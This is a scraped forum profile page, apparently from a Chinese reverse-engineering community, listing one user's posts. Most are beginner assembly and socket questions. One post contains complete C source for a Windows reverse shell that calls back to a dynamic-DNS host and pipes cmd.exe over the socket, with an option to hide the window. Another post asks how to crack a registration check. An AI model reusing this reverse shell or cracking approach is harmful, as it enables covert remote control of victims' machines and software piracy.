|
[求助]一无所知的小白能否在这里破蛹成蝶
我想说一下 你肯定是有基础或者是大把的时间吧 |
|
[分享]再再发一个邀请码..(已更新)
几年没上了 发现当初注册是个聪明的决定 |
|
[求助]socket编程域名问题 大侠们 帮忙呀
谢谢你了,已经搞定了,inet_ntoa( *(in_addr*)*(gethostbyname(host_name)->h_addr_list))这样就可以了 |
|
[求助]socket编程域名问题 大侠们 帮忙呀
大侠再帮忙看看,好久没接触编程了 偶尔在一本书上看到利用管道建立远程CMD的代码 决定将IP换成域名试试完整代码如下 #include <winsock2.h> #pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "advapi32.lib") #pragma comment(lib, "user32.lib") main( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpszCmdLine, int nCmdShow ) { struct hostent *host; char host_name[100]="vpn.3322.org"; WSADATA wd; SOCKET sock; STARTUPINFO si; PROCESS_INFORMATION pi; struct sockaddr_in sin; unsigned short port = 999; // 监听端口999 host=gethostbyname(host_name); memset(&si, 0, sizeof(si)); WSAStartup(MAKEWORD( 1,1 ), &wd); sock=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.s_addr = *((unsigned long*)host->h_addr);//换成inet_addr("192.168.1.105");就OK,如果用原来的可以编译通过,但是运行会出错,出现调试界面 while ( connect(sock, (struct sockaddr*)&sin, sizeof (sin)) ) Sleep (30000); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES; //si.wShowWindow=SW_HIDE; //隐藏窗口 si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock; //利用管道技术回显dos命令 CreateProcess(NULL,"cmd.exe",NULL,NULL, TRUE, 0,0, NULL, &si, &pi ); //建立进程 return 0; } |
|
[Anti Virus专题]1.2 - 2.kernel32基地址获得
我是菜鸟 dec edx ; xor dx, dx ; 减去跨度 edx减一后不就是低位减一吗 然后又xor dx,dx又把低位清零了 那岂不是没变化 搜索比较次数还是一样多 效率怎么提高呢 很费解 望哥哥姐姐们指教 |
|
|
|
好恐怖,两次验证,求破解方法
按照上面的是可以注册的 就是不知道怎么找到那个断点的 |
|
王爽汇编语言中的一个菜鸟问题
我明白了 原来必须要在全屏下才是第8行 谢谢3楼 |
|
王爽汇编语言中的一个菜鸟问题
谢谢 这个解释合理 但是为什么在第4行显示呢 明明是要在第8行显示的 |
|
王爽汇编语言中的一个菜鸟问题
传值是这个mov es:[bx+di],cl 此时cl中值为77h 传给的是es:[bx+di],bx值为0464h,di值为0 执行这条后查看es:0464h值不是77h |
|
王爽汇编语言中的一个菜鸟问题
这个方便大家看 data segment db 'welcome to masm!',0 data ends code segment assume cs:code,ds:data start: mov dh,8 ;dh装行号(范围:1--25) mov dl,3 ;dl装列号(范围:1--80) mov cl,2 ;cl中存放颜色属性) mov ax,data mov ds,ax mov si,0 call show_str mov ax,4c00h int 21h show_str: ;显示字符串的子程序[定义开始] push cx push si mov al,0A0h dec dh ;行号在显存中下标从0开始,所以减1 mul dh mov bx,ax mov al,2 mul dl sub ax,2 ;列号在显存中下标从0开始,又因为偶字节存放字符,所以减2 add bx,ax ;此时bx中存放的是行与列号的偏移地址 mov ax,0B800h mov es,ax ;es中存放的是显存的第0页(共0--7页)的起始的段地址 mov di,0 mov al,cl mov ch,0 s: mov cl,ds:[si] jcxz ok mov es:[bx+di],cl ;偶地址存放字符 mov es:[bx+di+1],al ;奇地址存放字符的颜色属性 inc si add di,2 jmp short s ok: pop si pop cx ret ;显示字符串的子程序[定义结束] code ends end start |
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
能力排名:
No.{{ rank_num }}
等 级:
LV{{ rank_lv-100 }}
活跃值:
在线值:
浏览人数:{{ visits }}
最近活跃:{{ last_active_time }}
注册时间:{{ user_info.create_date_jsonfmt }}
勋章
兑换勋章
证书
证书查询 >
能力值